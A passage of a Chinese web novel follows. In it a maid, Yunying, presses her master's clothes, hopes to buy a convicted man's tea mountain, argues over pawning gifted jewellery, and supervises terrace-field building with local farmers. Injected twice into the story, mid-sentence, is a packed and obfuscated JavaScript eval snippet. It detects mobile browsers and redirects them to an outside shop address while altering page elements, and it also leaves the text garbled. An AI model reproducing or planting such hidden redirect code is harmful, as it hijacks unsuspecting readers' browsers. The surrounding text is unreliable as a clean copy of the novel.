“是。卢先生前几天回来了,还带回了许多珍珠母贝。这两天,卢先生正带人往珍珠母贝中,植入用贝壳磨成的珠核,二爷带人去看进程了。” 又说,“遇到点麻烦,恰好二爷手中有一套利器,对植入珠核可能会有用,便让我回来取一下。” 墨雪说完这些,冲云莺微颔首,便快速离去了。 临走前,他还将两封信件交给云莺,让云莺放在二爷的书房中。 这两封信件,一封来自荣国公夫人,另一封则来自荣国公。 两封信都是随车赶来云归县的侍卫转交的,如今墨雪又将信件转交给云莺。 不得不说,这很可以说明以墨雪为代表的四人,现如今对云莺的认可了。 墨雪走了,秋宁也要回后院了。 临走之前,秋宁还在云莺耳边嘀咕,让云莺抓好了机会,争取一举得男。 秋宁说,“如今墨雪几人都对你怀有善意,二爷更是心里眼里只有你一个,只要你能生下个儿子,云莺你这辈子都不用愁了。你以后,就可以直起腰杆,大大方方的做这县衙的夫人,大大 方方的出门与那些官员家眷交际了。” “云莺,你可千万把握好机会啊。” 云莺嗯嗯应是,催着秋宁快回后院。 秋宁见她全然不将她的话放在耳中,恨铁不成钢的瞪一眼云莺,云莺为防她继续扯一些有的没的,就忙说,“我心里有数,你快回去吧。” 打发走秋宁,云莺就带着诸多衣物,往二爷的院子去了。 她先将两封信件放在二爷书房的桌案上,随即又去二爷的寝房中。 二爷起窝的房间,云莺这还是第一次踏足,心跳不免快了些。 她让侍卫们将衣物放下,随即让他们各忙各的去,自己则留在房间中,帮二爷归置东西。 也是这时候,云莺才敢抬起头,仔细的观察二爷房间的每一处。 二爷的房间肉眼可见的整齐干净、肃穆端方,就像他这个人一样。 正对门的位置放着一张黄花梨木的圆桌,桌上摆放着成套的菊瓣翡翠茶具;靠墙壁的位置,依旧放着一张雕红漆戏婴博古架,博古架上是云莺曾见过、亦或是没见过的一些玩意儿。 值得一提的是,在正对门的那面墙壁处,没有按所有房间那样,摆上两张太师椅,再放上一张香案,这些东西在这里是不存在的,唯一仅有的,只是在这面墙壁上,挂了一把古朴厚重的宝剑。 那剑柄上镶嵌了红蓝宝石,剑鞘上,也有一些划痕或长久浸染洗不掉的血渍。打眼一看,这把剑有些不起眼,看起来就是个摆设。但若是走进了,就能发现,这把剑上甚至还有擦洗不掉的血腥气,这肯定不是一把寂寂无名的剑! 错过这把剑,再往左侧看,那边立着一个紫檀木步步高升落地罩,落地罩里边的景色,都被那扇四扇开松柏梅兰屏风挡住了,而那里边,才是二爷入寝的寝房。 云莺的视线收回来,她拍拍自己的面颊,觉得自己就像个不清而入的偷窥者。 她鄙视这样的自己,轻声对自己说,“是你的就是你的,不是你的,惦记着又有什么用呢?”还是老实本分些,做好自己的分内事好了。 云莺收回视线,又看向手中的东西。 那些折扇、玉簪之类的,她也不知道该放去哪里,但衣物肯定要放进衣柜里。 只是这些衣物经过长途运输和挤压,都有些褶皱,肯定不能就这个样子放进柜子里收纳。 098 茶山茶山茶山 云莺去寻了一个火斗过来。 火斗就是现在的熨斗。 古代自然没有电可以用,可人们又有熨烫衣服的需求,于是火斗、水斗应运而生。 相比于水斗,云莺更喜欢用火斗。 火斗就像一个倒翻过来的马蹄,中空短柄,在空心的地方放置上烧红的木炭,利用底部导热来烫平衣物。 这种火斗使用是非常广泛的,不仅用来熨烫衣物,也可以熨纸护书,是富贵人家家中不可或缺的东西。 云莺小心翼翼的,拿出二爷的新衣来熨烫。 国公府给二爷送来的成衣,料子都很金贵,云莺真担心稍有不慎给二爷弄坏了,那她可赔不起。 云莺不敢有丝毫分神,紧张的盯着衣服,眼睛都不敢眨。 也就在她小心翼翼、如临大敌时,二爷的声音陡然在身后响了起来,“你在这儿做什么?” 云莺条件反射一回头,手中的火斗一抖,里边火红的木炭,眼瞅着就要落在衣裳上。 “哎呀,你的衣裳。”云莺回过神后,直接伸手去接那木炭,可即将接到手上时,她又陡然意识到,这是烧的正旺的木炭。 烧!的!正!旺!的!木!炭! 这要是接到手上,她的手轻则烫伤,重则被烫出个窟窿。 “你不要命了!”二爷一把将她拉扯过去,手上一阵劲风袭过,木炭被吹的滚落到地板上。 “哎呀,二爷,地板要被灼出个洞来了,可别再把这屋子烧了。” 云莺三两下从二爷手里挣脱出来,赶紧跑去扑打那已经被灼的焦黑的地板。那地板上已经冒出白烟来,云莺动手又动脚,一时间好不滑稽可笑。 “刺啦~”一声响,一盏茶水正好泼到木炭上,木炭上冒出滚滚白烟,直接熄了火。 云莺蹲在地上,抬首看向二爷,二爷居高临下的俯视她,眸中的神色似笑非笑,“现在可以起来了吧?” “可,可以了。” 嘴上说着可以起来了,实际上云莺现在有些腿软。 毕竟就因为她一着不慎,差点点了整个房间。 二爷拉了云莺一把,云莺这才站起身。 可站直身直面二爷,云莺更尴尬,此时真想找个地缝钻进去。 她可真是成事不足败事有余。 云莺懊恼的往自己脑袋上敲了两下。 二爷含着笑意开口说,“别敲了,本来就没有多聪明,再把脑袋敲傻了。” 云莺无语,“二爷,没你这么埋汰人的。我还不是要给你熨烫衣物……” “谁支使你干这活儿的?你那双手,用来帮我算账还差不多,做这些粗活纯粹是糟践。” 云莺没开口说是她自作主张,但二爷已经又吩咐起来,“下次不要做了,交给随云几人就成。” 随云几人做这些……行吧,二爷说什么就是什么吧。 云莺准备清理桌面和地面善后,二爷又拦住了她,“歇一歇,剩下这些事情交给随云就好。” 不等云莺吐槽他,二爷问说,“怎么跑到我这屋来了?” 他自上而下看着她,凤眸中含着明亮的笑意。云莺的窘迫和尴尬一股脑全都涌上来,此刻她后知后觉的意识到,和一个自己曾拒绝过的成年男子,一道呆在他的寝房中,好似真不是什么明智的决定。 云莺稳了稳躁乱的心神,开口说,“墨雪急着去给你送东西,就让我把国公府给你送来的衣物先送来你房里。那些折扇、玉冠什么的,我也不知道该怎么收纳。唯一能做的,就是把衣裳熨烫熨烫,给您收拾起来。话又说回来,墨雪不是给您寻了一套利器,说是要辅助在珍珠贝中嵌入珠核么?墨雪才走没多久,您怎么就回来了?您半路上碰见墨雪了么?” 二爷含混的说:“碰见了,我让他过去盯着,我先回府。总归不是一两天的活儿,我晚些时间过去也好,没必要一直在哪儿守着。” 二爷又指指隔壁的厢房,“我的大部分配饰都放在东厢房,你以后直接将东西送去东厢房就好。” 云莺应下,随即不知道该说什么了。 好在她瞅见二爷抿了抿唇,立马灵机一动,“我给二爷烧些茶水来?” 二爷点头,“可。” 两人转移阵地去了书房,至于二爷寝室这一摊子,二爷叫了随云来处理。 终于离开了那个房间,云莺呼吸都顺畅了些。 可或许是在二爷寝房的时间长了,或许是二爷的气息无处不在,云莺只要一深呼吸,依旧可以嗅到那浅淡的纸墨香。 清清凉凉、浅浅淡淡,混合着二爷身上的体息,从人的鼻腔进入四肢百骸,让人忍不住打个激灵。 二爷坐回太师椅上,看见桌案上两封书信,以及一张物品单子。 二爷拿起物品单子看,看到那上面有许多女子用的胭脂水粉和钗环首饰等,眼皮就忍不住上挑起来。 云莺说,“两封书信,一封是国公夫人写给您的,一封是国公爷写给您的。二爷您先看信,我去煮茶。” 说是煮茶,其实就是简单的用炉子煮些热水。水好了拿出京城送来的茶叶,冲泡过两水,就可以端给二爷了。 等云莺 端茶过来,二爷已经看完了两封书信,开口和云莺说,“那一箱子女子用的物件,是母亲赏你的,回头搬到你院里去。” 云莺吃惊的微微启唇,“给我的?” 二爷颔首,“赏你为我管理后院。”这当然只是其中一个原因,但另一个更深层次,也更重要的原因,二爷不会说。 但二爷不说,云莺又岂会想不到? 那货物单子她过目过了,送给女子的物品中,除了上好的胭脂水粉,还有些时兴的布料。当然,这些都是小头,大头是那一套琉璃八宝的首饰。 那东西可贵重了,怕不得值个千两银子。 云莺觉得,不管国公夫人对一个管事多么看重,都不会有这么重的赏赐。可她赏了,那就不是赏给管事的,该是赏给二爷的通房的。 再想想她拿到玉泉丹后,第一个先喂给了丁姑姑吃,丁姑姑之后对她释放了很多善意,也有意无意的将她推向二爷……怕是在丁姑姑看来,现在她已经是二爷的女人了。既如此,给她些厚赏,似乎也说的过去?! 想到这点,云莺坚定的说出了拒绝的话。 她看向二爷,等着二爷的示意。 但二爷却没开口,只是微眯着眸子看着她。 云莺心中先慌了两分,“二爷,您这么看着我做什么?” 二爷不做声。 二爷随后又露出个自嘲的笑。 他想到母亲在信件中提醒他,为人君子当有所为、有所不为;当恪守礼仪,高洁自重;当克己复礼,谨严慎独。 说这么多,无外乎是在提醒他一件事:便是不要让云莺怀孕生子,不要让妾生子,生在嫡出孩子前头。 可惜,母亲纯粹是想多了。 他与云樱,别说现在不可能,未来几年,也不可能。 二爷面上的自嘲之色一闪而过,似乎只是云莺眼花看错了。 云莺没在意这些,因为二爷又开口了。 二爷说,“既然是给你的,你收下就是。之前你帮我核算田亩面积,忙了足有二十天,我还没赏你……” “二爷,您之前已经给过奴婢许多头面与布匹了。” “之前是之前,现在是现在。我说过,有功就要赏。这一次我还没赏你。话说回来,你不肯要母亲给你的东西,那若说这些是我给你的谢礼呢?” 云莺依旧不想要,“都太贵重了。” “再贵重的东西,也得用到人身上才能体面出来。只是放着,不过明珠蒙尘。给你你就收下吧,之后梯田的事情还要多劳累你。你不收,我都不好意思使唤你。” 云莺从来不知道,二爷竟然有这般好的口才。她辩驳不过二爷,最后竟也答应将东西收下。 不过收了这么贵重的东西,云莺感觉应该更加卖力给二爷干活。 她就说,“梯田已经开工了,我明天就出去监工。不过造梯田到底是第一次,二爷还是不要对这一季的收成抱太大希望。” “可。只要每年都能改进一点,即便十年八年之后造好,我也等得及。” “那不行,您等得及,百姓们该等不及了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616630|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到百姓,又忍不住想起常顺。想起常顺,就忍不住想起他的茶山。 云莺心痒难耐。 ——想买茶山,想做茶饼茶砖,想贩卖到西域挣大钱。 但这一切的前提是,“二爷,常顺的案子,什么时候能判啊?” 二爷不意外云莺会问这个问题,毕竟她好奇心挺重的,想起什么都要问两句。 而他也习惯了纵容,只要不是太过要紧的事情,她问他也就说了。 “快了,这三、五天内,应该就会重审宣判。” 常顺的案子拖了太久了。 常顺勾结官府、欺压百姓的案子倒是好判。可常顺还贩卖良民——这件事已经有参与其中的犯人,被逮捕归案后认罪。但常顺只道是人故意污蔑他,咬死了不松口。 如此,只能去寻找新的证人。 新的证人也好找,就是常顺上个月贩卖的两名妇女。 可那两名妇女被卖到的地方有些远,具体买家也是常顺选的,他那几个手下并不知道。如此,才加重了寻找的难度。 不过随雨前几天传消息回来,说是人已经找到了,如今正在回程的路上。想来再过个三两日,一行人就会到达云归县。有了新的人证,常顺的案子就可以重新开审宣判。 二爷问云莺,“你问起常顺,是不是打了什么别的主意?” 云莺猛一下抬头,露出个惊愕的表情。 二爷是有读心术么,怎么就看出来她还有别的打算了? 二爷笑了,“你那点心思……”都写在脸上了。 后半句话二爷没说,担心她以后故意遮掩,不让他看到最真实的她。 “说吧,你还想做什么?” 云莺想了想,凑上前,“二爷,依照常顺犯的罪,最后大概能判个什么刑?” “看受害者现如今的情况。”若被贩卖的妇女儿童有死亡情况,常顺必须得死;反之,若被他贩卖的妇女儿童都还健在人世,常顺指不定还能侥幸留下一命。 “侥幸留下一命,但指定要坐牢或是 流放吧?” 二爷颔首,“或死刑,或流放,这两者的可能性较高。” “那既然常顺要被处死或流放了,他的私产呢?会怎么处置?” 二爷抬起那双过于深邃明亮的眸子,眸中都是了然之色,“你看上常顺的茶山了?” 云莺讪讪的摸摸鼻子,“我表现的这么明显么?” “也不是很明显,不过是满眼都写着,‘我想要’三个字。”二爷笑了,“他那茶山有什么好?” “好不好我不知道,我只是觉得,贩茶这门生意大有可为。” “大有可为?”二爷像是听到了什么好笑的笑话,“你怕不是没见过云归县本地的茶叶。” 云莺点点头,“我见过的二爷。” 云归县的茶叶是真差,可能还是和山地赤贫有关系。这边的茶叶碎小,就跟茶叶沫没多少差别。颜色也发黄,不像别的茶叶一冲泡露出青绿的颜色,看起来非常讨人喜欢。 想当初百叟宴后,云莺随二爷一道去街上。当时临回府时,她看到一个挑着担子卖茶叶的老伯可怜的厉害,便花大价钱买了许多茶。 那茶叶又碎又小,炒制的手法也不好。难能可贵的是,茶叶的味道竟很浓郁。 事后云莺曾让人专门去寻老伯,才从老伯哪里得知,她买的茶叶原是在山林中,发现的野茶树上摘下来的。 她原本也以为,只是深山老林中光照不足,茶叶才长得那么小,可之后她也在世面上见过其他茶,这就打破了她的认知偏差。 原来,这边的茶叶都很小。 一个原因是土地不够肥沃,营养不足,才导致茶叶长不起来。 另一个原因,也有可能是为了适应环境,茶树常年进化,慢慢的就长成了这种叶子很小的茶叶。 说这些就扯远了,只说这茶叶味道不差,若弄成茶砖或茶饼卖到西域去,指定能赚大钱。 再不济,还能改良茶树,或是引进新品种。 总之,种茶那有不挣钱的?说这是门日进斗金的买卖许是夸大了,但还是很有赚头的。 099误会大了 云莺心里怎么想,就怎么说了。 二爷听了她的话,也感觉很有道理。 但这其中涉及到两个非常重要的问题。 一个是茶砖茶饼该如何弄。 别看这个问题不起眼,可却至关重要。 现有的茶叶大多是散装茶,云莺既然想将茶叶运到边关去,散装茶就不够看了,只能弄茶饼和茶砖,以方便运输和储存。 可茶饼和茶砖的制作,还属于保密工艺,要去何处寻找会这种工艺的匠人,且得好好琢磨琢磨。 再有,从岭南府到西域边关,可以说是千里迢迢。这一路环境有多恶劣且不说,只说山匪、水匪多入过江之鲫。没有可靠的人带着,东西能送过去? 即便寻了可靠的人带着,也需要给人大笔的佣金,如此一换算,中间还有多少盈利且说不清。 二爷就道:“这件事情,稍后抽出空来咱们仔细说。” 云莺也知道,茶叶的生意不是想做就能做成的,这其中涉及到的问题太多了。而他们目前连茶山都没有,连茶叶的产出都不能保证,何谈销售? 还是一步一个脚印,从头开始做吧。 但是,“二爷,若常顺被判死刑,或是被流放,他的家业应该也会被收归官府所有吧?” 二爷颔首,“会收归官府。但其中一部分,要用于补偿受害者。” 云莺忙道:“我的意思是说,茶山呢?茶山到时候应该会由官府售卖吧?” 二爷笑了,“是会售卖,你想买么?” 云莺抿抿唇。 这话说的,她买什么?这是她为二爷想的来钱路子啊。 不过听二爷这意思,他好像不太愿意接手。 云莺就咬咬牙,“我想买。” “那你手中的银子够么?” 云莺看看二爷,“自然是不够的,我可以问二爷借一些么?” 二爷一摊手,笑了,“我手中的银子也花完了,我还要让家里接济呢。” “不至于吧?”云莺不相信。 二爷轻哼,“如何不至于?” 自他来了云归县,衙门里差役的月例银子都是他发的。再有之前衙门的欠账,也是他补足的。前段时间春耕,他又添了一笔银子多买了些耕牛;还有造梯田的银子已经拨出去了,人工养珠的银子也给预留了一部分。 二爷他真的荷包空空了,若不是这次母亲特意让人捎来了三千两银子的私房,他只能托人变卖京城的一些产业度日。 二爷就说,“我没余钱帮你,你还要买那茶山么?” 云莺思前想后,咬咬牙,“买!” “哦,”二爷的语气变得意味深长了,“看不出来啊云莺,你倒是个财大气粗的。” 云莺吭哧吭哧,好大一会儿才说,“我也没有多少银子,但您之前不是赏了我许多头面首饰么,二爷,我可以……” “你不可以!” 二爷一秒变脸,刚还温柔和煦,转眼面色冷如寒冬。 二爷站起身,从桌案后边走到云莺跟前来,围着云莺绕了一圈才说,“没看出来啊云莺,你倒是个有想法的。你还想将我给你的那些首饰,拿去当铺换钱花。” 云莺有些心虚,又有些委屈,“可那些东西给了我,不就成我的了么?” 二爷轻“呵”,“是你的不假,不过是让你戴的,不是让你当的。你给我说云莺,你有这个想法多久了?还有,你是不是不止一次动过把那些首饰当了的心思?你究竟想做什么?” 二爷拧着眉头,抿着唇看着她,眸光深深,“你难道是想当了首饰,拿银钱来赎身?” 云莺抿紧唇,头垂的更低了。 她装聋作哑,可她这个沉默的姿态,愈发证明,她还真就是这么想的。 一时间,二爷真被气笑了。 他指着云莺,“你竟敢,竟敢……云莺啊云莺,我迟早有一天会被你气死。” 云莺抬起头,“二爷,那些东西我说我不要吧,您非要塞给我。结果成我的了,我还不能处置。早知道这样,您还不如不给我。” “说来说去还是我的错了?” 云莺又不说话了,二爷也愈发无语了。 一会儿后,二爷挫败的抹一把脸,“行了,不跟你说这些有的没的。茶山的事儿具体什么情况,等案子审完再说。你先回去吧,让我静一静。” 云莺应了一声,转身出门,都走到门口了,她又问二爷,“那些胭脂水粉和头面首饰……” “既然说是给你的,你都拿走。算了,你别拿了,我让人给你送去。” “哦。” 云莺回了后院,一头栽到被褥中。 穗儿和柳儿看她这副模样,都吓坏了。 两人上赶着来摸她的额头,看她是否发烧了。 云莺不让她们碰她,还支支吾吾道:“我没事儿,就是想自己静一静。你们都出去吧,有事情我会喊你们。” 穗儿依旧不放心,“姑娘,您确定没事儿么?” “真没事儿,出去吧。” 两个丫鬟相继出去了,房门处传来“哐当”一声关门的声音。 云莺这才从被褥中抬起头来。 仔细看,她眼睛雾蒙蒙的,闪着潋滟璀璨的光。而她一张芙蓉面上布满红晕,就如同那三月的桃花盛开。 云莺想起二爷懊恼,又拿她没有办法的样子,又支支吾吾的埋在了被子中,直至将自己憋的喘不过气来,才翻个身,露出一脸傻笑来。 再说门外,穗儿和柳儿就站在门口位置,静听着屋内的动静。 屋内支支吾吾的,柳儿以为云莺哭了,赶紧给穗儿咬耳朵,问穗儿如何是好。 穗儿也急的火上的蚂蚁似的,团团转个不停。 “我想想,我想想啊。” 还没等穗儿想出个所以然,随云带着人,将小冯氏给云莺的物件送来了。 他见两个丫鬟站在门口,一个个欲哭无泪,还急的满脑袋汗,不由纳罕,“你们怎么了?云莺姑娘呢?” “姑,姑娘,姑娘在屋里呢。” 随云眉头皱的更紧了,“姑娘在屋里,你们怎么不去屋里伺候?” 正这时,屋里又传来呜呜呜的声音。 随云愣住了,声音放的很轻很轻,“云莺姑娘怎么哭了?谁欺负你们姑娘了?” “不,不知道啊。姑娘从前院回来,就一头扎到床上去了。姑娘还将我们都赶了出来,我们也不知道出什么事儿了。” 随云蹙眉,暗想,难道是二爷给云莺甩脸子了?亦或是二爷说了难听的话,云莺委屈坏了? 这都有可能。 毕竟刚才他接了二爷的命令,过来送东西,当时二爷的面色可不好看。 好了,真相了,这两人指定又闹矛盾了。 随云不好多管,也不好再多问,当下只将东西留下,随后带着人离开。 等回了前院,随云琢磨了下,还是敲门进了书房。 二爷正在给荣国公夫妇写回信。 母亲的信件好回,只说日常,言道自己身体康健即可;至于父亲说的,林氏张狂无忌、气坏了母亲,他有意让他休妻再娶…… 二爷心中早有思量,大笔一挥就写下:心中自有盘算,望父莫多插手。 他又挥毫写了几行字,随即才停了笔,然后看向站在书房的随云,“东西送过去了?” “送过去了。” 二爷挑眉,“那你还来做什么?难道是云莺那里出了什么事儿?” 随云颔首,“二爷料事如神。” “不用拍我马屁,有事儿说事。” “那属下就直接说了。”随云就将他的见闻说了说,末了,语气沉重道:“云莺姑娘哭的很伤心,二爷,您到底又怎么惹到云莺姑娘了?” 二爷又气又想笑,他惹她? 他惹得起么! 是她惹他还差不多! 二爷气郁不已,只能揉着眉心问,“她哭的很厉害么?” 随云颔首,“听声音是挺厉害的。” 二爷露出点尴尬的表情,“我也没说她什么啊。她脾气怎么就这么大呢?” 随云眼观鼻、鼻观心,只当没听到这话。 二爷愈发不自在了,在书房内来回转了两圈。 他想去后院看看云莺现在什么情况,想让她别哭了,不就是个茶山么,她想要给她买就是了。就是她想典当了那些首饰,自己买,他也不会说一个不字…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616631|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二爷浓眉紧锁,满面烦躁。 好在,很快外边又有人过来说,“秋宁姑娘去寻云莺姑娘说话了,云莺姑娘正和秋宁姑娘喝茶。” 听说云莺不哭了,二爷面色总算舒缓了些,颓唐的坐在太师椅上出神去了。 二爷想了什么没人知道,只说云莺一早就到了前院。 彼时二爷正准备去后塘村,看一看珍珠植核进展的可还顺利。 两人碰了个正着,一时间都有些怔愣。 片刻后,他们都恢复如常,好似昨天的那点龃龉不存在似的。 二爷问云莺,“一大早的,你做什么去?” 云莺说:“我昨天不是和二爷说过了吗,今天就正式造梯田了,我得去监工。” 二爷想了想,云莺昨天好似说过这件事。 但是,今天是个大热天。 才一大早,太阳就火辣辣的,树叶也都无精打采的耷拉着,就连知了的叫声,都有气无力的。 她外出奔波一天,怕是要把皮子晒疼了。 二爷就说,“今天太晒了,你明天再过去吧。总归你也将事情吩咐下去了,想来你去不去都一样。” “那怎么能一样呢?”云莺就说:“我去了,大家就有了主心骨了,有些拿不准的地方,也可以立即问我讨主意。” “还主心骨……”二爷又笑了。 云莺却红了脸,“主心骨怎么了?这事情本就是我一手操持起来的,说我是主心骨,一点都不夸大。” 二爷本还想逗逗她,想想还是算了。 昨天他都把人气哭了,今天还是悠着点,别让她再翻脸。不然,受苦受罪的还是他。 拦不住云莺,二爷只能叮嘱她戴好了帷帽,顺便叮嘱她身后跟着的穗儿,给云莺准备了解暑的药丸子和绿豆汤。 穗儿第一次被二爷命令,也不管二爷说的是什么,她只管猛点头。那头点的跟 小鸡啄米似的,看起来真挺搞笑的。 又说了几句话,云莺和二爷就走到了门口。 两人一人上马,一人上车,又协同走到城门口,随即各朝一个方向行去。 ***** 今天要造梯田,造梯田的荒山是云莺早就看好的,她还让随云雇佣了附近的百姓,将荒山上的杂草与碎石都清理干净,并仔细的耕翻了一遍。 农家肥没买到,只能将燃烧的草木灰撒上许多,并挖了许多水塘的污泥过来肥田。 可以说,自从这个荒山被圈中之后,这边人来人往就没个消停的时候。 过往的行人、亦或是附近的百姓,也有好奇过来打探,要用这荒山做什么的。 那些做工的百姓没隐瞒,将云莺的话说一说,于是,百姓们就吵吵开了。 这个说,“小女娃子连禾苗和杂草都分不清,还想在荒山上种田,真是银子多的没地方使。” “荒山上咋不能种田,只是投入大,收获小,不划算!” “那女娃不知被那个黑心的蒙骗了,你们也不劝着点。这把银子丢进水里还能听个叮当响,丢到这荒山上,那能结出什么?” “看你们尽说些丧气话,指不定这姑娘有本事,真就造出了梯田,把梯田变成良田。” “哎呦我的老天爷,可别说这笑话了,简直要笑掉我的大牙了。” 百姓们对“梯田”是不抱什么希望的,也从不觉得,像云莺这样城里来的女娃娃,能比他们这些老庄稼把式更会种田。 他们都抱着看热闹的心里,将云莺取笑了一遍又一遍。 于是,真等这梯田动工这一天,十里八乡闲着没事儿干的百姓都来看热闹了。 云莺从马车上下来,就见到挤挤挨挨黑压压一片人头。 她险些以为自己来错了片场,差点被吓得退回车厢一屁股坐下。 好在,她很快看到了她早先安排的,负责造梯田的管事。 那管事挤过人群走到云莺跟前,一边抹着脑门上一串串往下滚的汗珠,一边赧然着被晒红的面颊,不好意思的说,“姑娘,不知道是谁,把您要在荒山上造梯田的事情传出去了。您看看,来了这么多人,都是来看您怎么造梯田的。” 云莺听话听音,顿时明白了:哦,原来都是来看她的热闹的! 100来接 云莺是不想让人看她热闹的,但这些大爷大娘婶子叔叔们,他们也不听她支使啊。 好在梯田后续还要推广,为了减少以后推广的难度,不如现在就让百姓们参与进来。 人多力量大么。 参与的人多了,她既可以从这些老农那里,吸收一些她欠缺的经验,也可以让百姓对梯田没那么排斥,增加以后推广成功的几率。 心思电转之间,云莺想了这许多。 再开口,她已经恢复了镇定,声音中甚至带上了几分平和:“大家想来看就看吧,若有中肯的意见,也欢迎大家说给我听。梯田只是县令大人的一个尝试,目的就是在田地有限的情况下,增加一些可耕种的土地,进一步提高百姓粮食收入。各位大爷大娘们不要客气,有什么想法尽可以与我说。” 云莺客气了,那些刚才还吵的热火朝天的大爷大娘们,反倒不好意思大声说话了。 他们也就欺负刚才这里没有正经的主事人,如今正经的主事人来了,听说还是县令身边的人,乃是奉了县令的命令行事,那他们那还敢闹腾啊? 别被人抓了典型,关到监狱里去就好。 有许多大爷大娘都打了退堂鼓,不想继续看热闹了,生恐一会儿闹出点什么事儿,再牵连到他们。 可云莺把帷帽摘下来了,她还让人满场子宣扬,“只要提出的意见中肯有用,就奖励五,不,二两银子。” 二两银子已经很多了,许多百姓一家子劳作一整年,还挣不来几个铜板。 说句不客气的话,现场百姓中,真正见过银子的,都没几个。 如今一听只要提个意见就给银子,百姓们先是不相信,一个个说,“骗人的吧?别不是和常顺一样,故意设了套让咱们往里边钻。最后不仅钱落不着,反倒把咱们自己搭进去。” 还是那管事大声喊着,这事情归云莺姑娘管辖,云莺姑娘的话不用质疑,如此这般说了许多,百姓们终于放下了戒心,满目憧憬的看向云莺。 “我觉得也不可能作假,这仙女儿似的人物,那可能是坏人呢。” “那就信这姑娘一次,咱们也争取给提个意见,好挣个快钱。” “这姑娘是县令的夫人还是小妾?哎呦,长这么俊,县令大人怎么舍得把人放出来做这些农事的?这不埋汰人么?” 说什么的都有,现场愈发嘈杂了。 不过这次嘈杂却是往好的方向转变的,大家伙一边说着闲话,一边有志一同的盯着造梯田的百姓。 随着日头越高,梯田慢慢有了雏形。 那经年的老农露出深思的模样,“这个样子农田,似乎可行。” “就是该怎么浇水是个问题,要是雨水大些还好说,若是碰上个干旱的天气,总不能一桶一桶的往上提。” “提水咋啦?咱们这边就溪水多。只要能多收两亩地庄稼,别说让我天天提水,就是让我孙子天天提水浇地,都使得。” “哎呦你个老芋头,你可真不心疼你孙子。” 百姓们似乎都不知道饿,也不知道渴,他们就坐在不远处的树荫下,紧盯着梯田的动静。 这也就是如今正值农闲,不然云莺高低得催他们回家忙正事儿。 不过晚稻已经种下去,田里只剩下除草的活儿,倒是不急于一时半刻。 云莺实在受不住热了,就坐上了马车,让车夫将马车赶到一处阴凉的地方去。 她又饿又渴,可那些百姓都没有午饭吃,她也不好意思吃东西。如今好了,到了没人的地方,她多少可以吃两口垫垫。 云莺吃了点东西,又去监工了。就这样,将要忙到天黑时,一个梯田造好了。 鉴于梯田上如何灌溉的问题还没彻底解决,种水稻明显不合适,这一次的庄稼,就先种旱谷。 明天上午播种,下午浇水,之后几天等待旱谷破土生长。 总归这处荒山是不用云莺操心了。 又因为云莺把底子打在这儿,之后那些荒山上的梯田,只要按照这个条状阶台式或波浪式断面的模板来造就行——也不能说全然按照这个模板,总归还是要头脑灵活,在关键处加以改善。 当然,这些就不用云莺来提醒了。毕竟论种田,云莺只是纸上谈兵,说的全是书本上学来的理论,而被二爷委派给她的管事,那可是云归县专门管农事的吏员,肚里的墨水不比她少,实在的本事也比她多。 言而总之一句话,把此事交给他,她很放心。 眼瞅着日落西山,云莺准备回县衙了。 却就在此时,有两个年约五旬左右的老汉,躬着腰身,一步一步凑上前来。 他们的步伐很踟躇,面上也都是为难和畏惧,显然尽管云莺长得和仙女一样,而且这一整天监工也没喊叫或处罚过任何人,但是,基于骨子里对于权贵的畏惧,百姓们还是惧怕她。 云莺本来都已经上了马车了,还是管事快跑过来传了两句话,云莺这才又从马车上下来。 那两位衣着破烂的老汉见云莺朝他们走来,不觉弯起了腰。他们还不自在的扯扯身上破烂的衣衫,嗅嗅自己身上的味道。 可这本就是夏天,为防糟践了衣裳 ,也是天气实在太热,老汉们都只穿了一件薄薄的无袖单衣,露出黑魆魆的一把瘦骨头来。又因为他们没有太好的卫生习惯,此时身上就散发出旱烟味儿与汗水味儿……总归,气味复杂,混合在一起着实有些刺鼻。 云莺却像是没看见两位老人面上的窘迫,没闻到他们身上的异味儿一样,亲和的问他们,“两位老伯是有什么话要与我说么?” “对,对的。” “姑娘说,只要提出中肯的建议,就,就给银子,此话可当真?” 云莺点头,“自然当真。” 她又问,“难道老伯是有什么好提议不成?穗儿,快搬下两个凳子来,让两位老伯坐。” “不,不用了姑娘,我们说完就走。” 两位老伯果真不磨蹭,当即就开口了。 其中一位说,“你弄那个田基,不,不行,土壤太松动了,会,漏水会很严重。最好在上边垒砌石块,再弄上一层泥土捶紧,来回这么两三次,才能防止梯田漏水。” 云莺面色越听越慎重,忽而朝老人福了福身,“多谢老伯教我,你提到的问题我还真没有想到,你帮了我大忙了。” “那,银,银子……” 云莺忙从荷包中取出二两银子,递给老伯。 老伯黑瘦的手掌上还带着细小的伤口与泥土,他似是不相信,云莺当真这么轻易就把银子给他们了,他整个人惊在原地,一时间都回不过神。 云莺说,“老伯,快拿着这银子。这是您该得的,您的建议对我们有用,我们多谢您。” 老伯如梦初醒,颤抖着手从云莺手中接过那一块儿银子。 现如今的银子,都是用多少绞多少。云莺手中这块,怕是有二两半,但老者不知道。他只知道自己凭本事挣了银子,老伴的病终于能治了,他们能请的起大夫了。 另一位面上带疤的老伯,见同伴竟然真的拿到了银子,也迫不及待开口说,“姑,姑娘,梯田浇水不便,我,我有办法。” “什么办法呢?您别急,慢慢说。” “唉,唉。” 然后老伯就和云莺说,他有一个本事,就是会找泉眼。 据老伯说,云归县水源充沛,山中一般都有泉眼。 